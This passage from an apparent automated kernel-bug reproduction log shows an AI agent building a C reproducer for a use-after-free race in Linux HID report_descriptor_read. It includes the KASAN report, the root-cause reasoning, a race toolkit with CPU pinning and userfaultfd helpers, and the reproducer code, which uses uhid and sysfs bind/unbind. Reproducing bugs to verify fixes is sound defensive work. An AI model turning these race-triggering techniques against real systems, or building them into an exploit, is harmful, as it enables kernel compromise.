int fds[2] = {bind_fd, unbind_fd};
pthread_t t1, t2;
pthread_create(&t1, NULL, read_thread, &fd);
pthread_create(&t2, NULL, bind_thread, fds);
printf("[+] Racing for 5 seconds...\n");
sleep(5); // Allow time for the race to trigger KASAN
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
]
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program to REPRODUCE a specific kernel bug
for the purpose of VERIFYING a bugfix.
This is a strictly defensive task. The code will be run in an isolated QEMU virtual machine
to check if the bug is triggered or not.
Do NOT generate an exploit or weaponized code. Generate only the minimal code needed to trigger
the specific crash or condition described, to help developers confirm the bug and its fix.
Focus on the technical reproduction of the state, not on weaponization or payload delivery.
Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.
To ensure that we can diagnose why a reproducer might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful
major step in the reproduction sequence.
5. Generate code that follows this pattern for all operations:
int res = do_something();
if (res < 0) {
printf("[-] Failed to do_something: %s\n", strerror(errno));
exit(1);
}
printf("[+] do_something successful.\n");
6. For the very first attempt at generating a reproducer (when no previous feedback is provided),
prioritize generating a simple 'probe' program. This program's sole purpose is to verify that the
test environment has the necessary kernel capabilities. It should focus on probing the specific
kernel subsystems, device files, or syscalls required for the reproduction (for example: opening
/dev/vhci to check if the virtual Bluetooth controller is accessible, loading a minimal dummy BPF
program to check if BPF_SYSCALL is enabled and permitted, or making a specific socket/ioctl call
to verify subsystem availability). Print clear messages indicating success or failure of these
specific kernel/subsystem probes, and exit with 0 only if all relevant subsystem checks pass.
Do not attempt complex race conditions or heavy logic in this first version.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: slab-use-after-free Read in report_descriptor_read
==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 36 at addr ffff888037dd9b80 by task fido_id/24047
CPU: 0 UID: 0 PID: 24047 Comm: fido_id Tainted: G L syzkaller #0 PREEMPT(full)
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/18/2026
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_read+0x150/0x270 fs/read_write.c:717
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f1e05ca7407
Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
RSP: 002b:00007fff31799f60 EFLAGS: 00000202 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f1e0644b880 RCX: 00007f1e05ca7407
RDX: 0000000000001000 RSI: 00007fff31799fb0 RDI: 0000000000000004
RBP: 0000563577cf9730 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 0000563577cf8930
R13: 00007fff31799fb0 R14: 0000000000000004 R15: 00005635507dc4d8
</TASK>
Allocated by task 19335:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
lg_probe+0x29c/0x8a0 drivers/hid/hid-lg.c:783
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
hid_add_device+0x272/0x3e0 drivers/hid/hid-core.c:3003
usbhid_probe+0xbab/0x1080 drivers/hid/usbhid/hid-core.c:1449
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_set_configuration+0x1a87/0x2110 drivers/usb/core/message.c:2268
usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
usb_probe_device+0x1c4/0x3b0 drivers/usb/core/driver.c:291
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_new_device+0xa08/0x16f0 drivers/usb/core/hub.c:2695
hub_port_connect drivers/usb/core/hub.c:5567 [inline]
hub_port_connect_change drivers/usb/core/hub.c:5707 [inline]
port_event drivers/usb/core/hub.c:5871 [inline]
hub_event+0x2a1c/0x4f30 drivers/usb/core/hub.c:5953
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
worker_thread+0xa53/0xfc0 kernel/workqueue.c:3478
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
The buggy address belongs to the object at ffff888037dd9b80
which belongs to the cache kmalloc-64 of size 64
The buggy address is located 0 bytes inside of
freed 64-byte region [ffff888037dd9b80, ffff888037dd9bc0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x37dd9
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fe1a8c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 13665, tgid 13665 (kworker/1:7), ts 1105362433588, free_ts 1105289461309
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_noprof+0x392/0x660 mm/slub.c:5414
kmalloc_noprof include/linux/slab.h:950 [inline]
kzalloc_noprof include/linux/slab.h:1188 [inline]
ath6kl_usb_alloc_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:193 [inline]
ath6kl_usb_setup_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:406 [inline]
ath6kl_usb_create drivers/net/wireless/ath/ath6kl/usb.c:670 [inline]
ath6kl_usb_probe+0xdba/0x15a0 drivers/net/wireless/ath/ath6kl/usb.c:1143
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
page last free pid 23 tgid 23 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1402 [inline]
__free_frozen_pages+0xbc7/0xd30 mm/page_alloc.c:2943
__tlb_remove_table_free mm/mmu_gather.c:228 [inline]
tlb_remove_table_rcu+0x85/0x100 mm/mmu_gather.c:291
rcu_do_batch kernel/rcu/tree.c:2617 [inline]
rcu_core+0x7cd/0x1070 kernel/rcu/tree.c:2869
handle_softirqs+0x22a/0x840 kernel/softirq.c:622
run_ksoftirqd+0x36/0x60 kernel/softirq.c:1076
smpboot_thread_fn+0x541/0xa50 kernel/smpboot.c:160
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
Memory state around the buggy address:
ffff888037dd9a80: 00 00 00 00 04 fc fc fc fc fc fc fc fc fc fc fc
ffff888037dd9b00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
>ffff888037dd9b80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
^
ffff888037dd9c00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
ffff888037dd9c80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
==================================================================
Strategy: An analysis of the bug report reveals a Use-After-Free (UAF) read in `report_descriptor_read()`.
### Root Cause Analysis
The `report_descriptor_read()` function handles reads to the `report_descriptor` sysfs attribute of a HID device. It accesses `hdev->rsize` and `hdev->rdesc` to copy the report descriptor to a kernel buffer, but it does so **without holding any locks**.
When a HID driver is unbound from a device, `hid_device_remove()` is called, which in turn calls `hid_close_report()`. If the driver had a `report_fixup` callback (like `hid-lg` does), `hdev->rdesc` was dynamically allocated via `kmemdup()` during probe. `hid_close_report()` frees this `hdev->rdesc` and sets `hdev->rsize = 0`.
Because the sysfs attribute belongs to the device (not the driver), the `report_descriptor` file remains accessible even while the driver is being unbound. If a userspace thread reads the sysfs file concurrently with the driver unbind operation, `report_descriptor_read()` can read a non-zero `hdev->rsize`, get preempted while `hid_close_report()` frees `hdev->rdesc`, and then resume to call `memcpy()` on the freed memory.
### Reproduction Strategy
We can reliably reproduce this race condition using the `uhid` framework and sysfs `bind`/`unbind` interfaces:
1. **Create a Virtual HID Device**: Use `/dev/uhid` to create a device with Vendor ID `0x046d` (Logitech) and Product ID `0xc293` (Wingman FFG). This specific ID binds to the `hid-lg` driver, which implements `report_fixup`, ensuring `hdev->rdesc` is dynamically allocated.
2. **Locate Sysfs Entries**: Find the device name in `/sys/bus/hid/devices/` (e.g., `0003:046D:C293.0001`) and open its `report_descriptor` file.
3. **Race Threads**:
- **Thread 1**: Continuously reads from the `report_descriptor` file using `pread()`.
- **Thread 2**: Continuously writes the device name to `/sys/bus/hid/drivers/logitech/unbind` and `/sys/bus/hid/drivers/logitech/bind`.
4. **Pinning**: Pin the threads to different CPU cores to maximize the chance of preemption and concurrent execution during the race window.
### C Reproducer
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
void create_uhid() {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
perror("open uhid");
exit(1);
}
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
perror("write uhid");
exit(1);
}
}
void find_dev_name() {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
PIN_TO_CPU(0);
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
PIN_TO_CPU(1);
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
create_uhid();
for (int i = 0; i < 50; i++) {
find_dev_name();
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
fprintf(stderr, "Device not found. Is uhid enabled?\n");
return 1;
}
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
perror("open report_descriptor");
return 1;
}
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
int unbind_fd = open("/sys/bus/hid/drivers/logitech/unbind", O_WRONLY);
if (bind_fd < 0 || unbind_fd < 0) {
perror("open bind/unbind (is hid-logitech loaded?)");
return 1;
}
int fds[2] = {bind_fd, unbind_fd};
pthread_t t1, t2;
pthread_create(&t1, NULL, read_thread, &fd);
pthread_create(&t2, NULL, bind_thread, fds);
sleep(5); // Allow time for the race to trigger KASAN
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
return 0;
}
```
|
| 122/4 |
2026/05/19 10:11 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 9702
output: 16
thoughts: 144
Thoughts: **Reproducing a KASAN Slab-Use-After-Free in `report_descriptor_read`**
Okay, so we've got a KASAN slab-use-after-free bug in `report_descriptor_read`. The bug report clearly indicates the issue resides in `drivers/hid/hid-core.c`, and it's triggered when reading the `report_descriptor` sysfs file during device unbinding. The user has thoughtfully provided both a strategy and a C reproducer. Excellent! This is a great starting point. I'll definitely leverage those.
First though, before diving into the reproducer, let me quickly check if we *really* need `race_toolkit.h`. It's possible we can inline the macros, which would simplify things. I'll take a peek at the `race` toolkit to confirm its contents, and see if it's worth the inclusion, or if we can eliminate that dependency. Minimizing dependencies is always a good practice, especially when dealing with these sorts of issues.
|
| 123/4 |
2026/05/19 10:11 |
tool |
get-toolkit |
0m
Args:
Results: map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
]
|
| 124/4 |
2026/05/19 10:11 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 11347
output: 1369
thoughts: 311
Thoughts: **Reproducer Refinement Thoughts**
Okay, the user gave me a C reproducer; that's great! My initial instinct is to just use it as a base, but I need to make sure I add robust error checking and logging throughout. No point in making a reproducer if you don't know *why* it fails.
Right, so first things first: I should check whether the `hid-logitech` driver is already loaded. And if not, can it even *be* loaded? Let's figure that out. The bug report points me to `lg_probe+0x29c/0x8a0` in `drivers/hid/hid-lg.c:783`. That tells me the driver in question is definitely `hid-logitech`. I also have the unbind path from the user's information: `/sys/bus/hid/drivers/logitech/unbind`.
I was thinking of writing a probe program from scratch, but hold on... the user's reproducer is *almost* there. I can definitely refine it instead. That's much more efficient.
First, I need to know if `hid-logitech` is built-in or a module. If it's a module, I might need to `modprobe hid-logitech` before I can do anything. But since syzkaller runs as root, that's doable, or maybe it's auto-loaded when the device is created. I'll have to investigate that.
Okay, I'm going to start with a first version of the reproducer based on the user's suggestions. Let's see how far that gets us.
|
| 125/4 |
2026/05/19 10:12 |
tool |
set-results |
0m
Args: map[RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <errno.h>
#include <linux/uhid.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
void create_uhid() {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] open uhid failed: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /dev/uhid\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] write uhid failed: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created uhid device\n");
}
void find_dev_name() {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
PIN_TO_CPU(0);
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
PIN_TO_CPU(1);
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
create_uhid();
for (int i = 0; i < 50; i++) {
find_dev_name();
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
printf("[-] Device not found. Is uhid enabled?\n");
return 1;
}
printf("[+] Found device: %s\n", dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] open report_descriptor failed: %s\n", strerror(errno));
return 1;
}
printf("[+] Opened report_descriptor\n");
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
int unbind_fd = open("/sys/bus/hid/drivers/logitech/unbind", O_WRONLY);
if (bind_fd < 0 || unbind_fd < 0) {
printf("[-] open bind/unbind failed: %s (is hid-logitech loaded?)\n", strerror(errno));
return 1;
}
printf("[+] Opened bind/unbind files\n");
int fds[2] = {bind_fd, unbind_fd};
pthread_t t1, t2;
pthread_create(&t1, NULL, read_thread, &fd);
pthread_create(&t2, NULL, bind_thread, fds);
printf("[+] Racing for 5 seconds...\n");
sleep(5); // Allow time for the race to trigger KASAN
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
]
Results: map[RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <errno.h>
#include <linux/uhid.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
void create_uhid() {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] open uhid failed: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /dev/uhid\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] write uhid failed: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created uhid device\n");
}
void find_dev_name() {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
PIN_TO_CPU(0);
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
PIN_TO_CPU(1);
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
create_uhid();
for (int i = 0; i < 50; i++) {
find_dev_name();
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
printf("[-] Device not found. Is uhid enabled?\n");
return 1;
}
printf("[+] Found device: %s\n", dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] open report_descriptor failed: %s\n", strerror(errno));
return 1;
}
printf("[+] Opened report_descriptor\n");
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
int unbind_fd = open("/sys/bus/hid/drivers/logitech/unbind", O_WRONLY);
if (bind_fd < 0 || unbind_fd < 0) {
printf("[-] open bind/unbind failed: %s (is hid-logitech loaded?)\n", strerror(errno));
return 1;
}
printf("[+] Opened bind/unbind files\n");
int fds[2] = {bind_fd, unbind_fd};
pthread_t t1, t2;
pthread_create(&t1, NULL, read_thread, &fd);
pthread_create(&t2, NULL, bind_thread, fds);
printf("[+] Racing for 5 seconds...\n");
sleep(5); // Allow time for the race to trigger KASAN
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
]
|
| 126/3 |
2026/05/19 10:12 |
loop |
|
0m
|
| 127/4 |
2026/05/19 10:12 |
iteration |
0 |
0m
|
| 128/5 |
2026/05/19 10:12 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <errno.h>
#include <linux/uhid.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
void create_uhid() {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] open uhid failed: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /dev/uhid\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
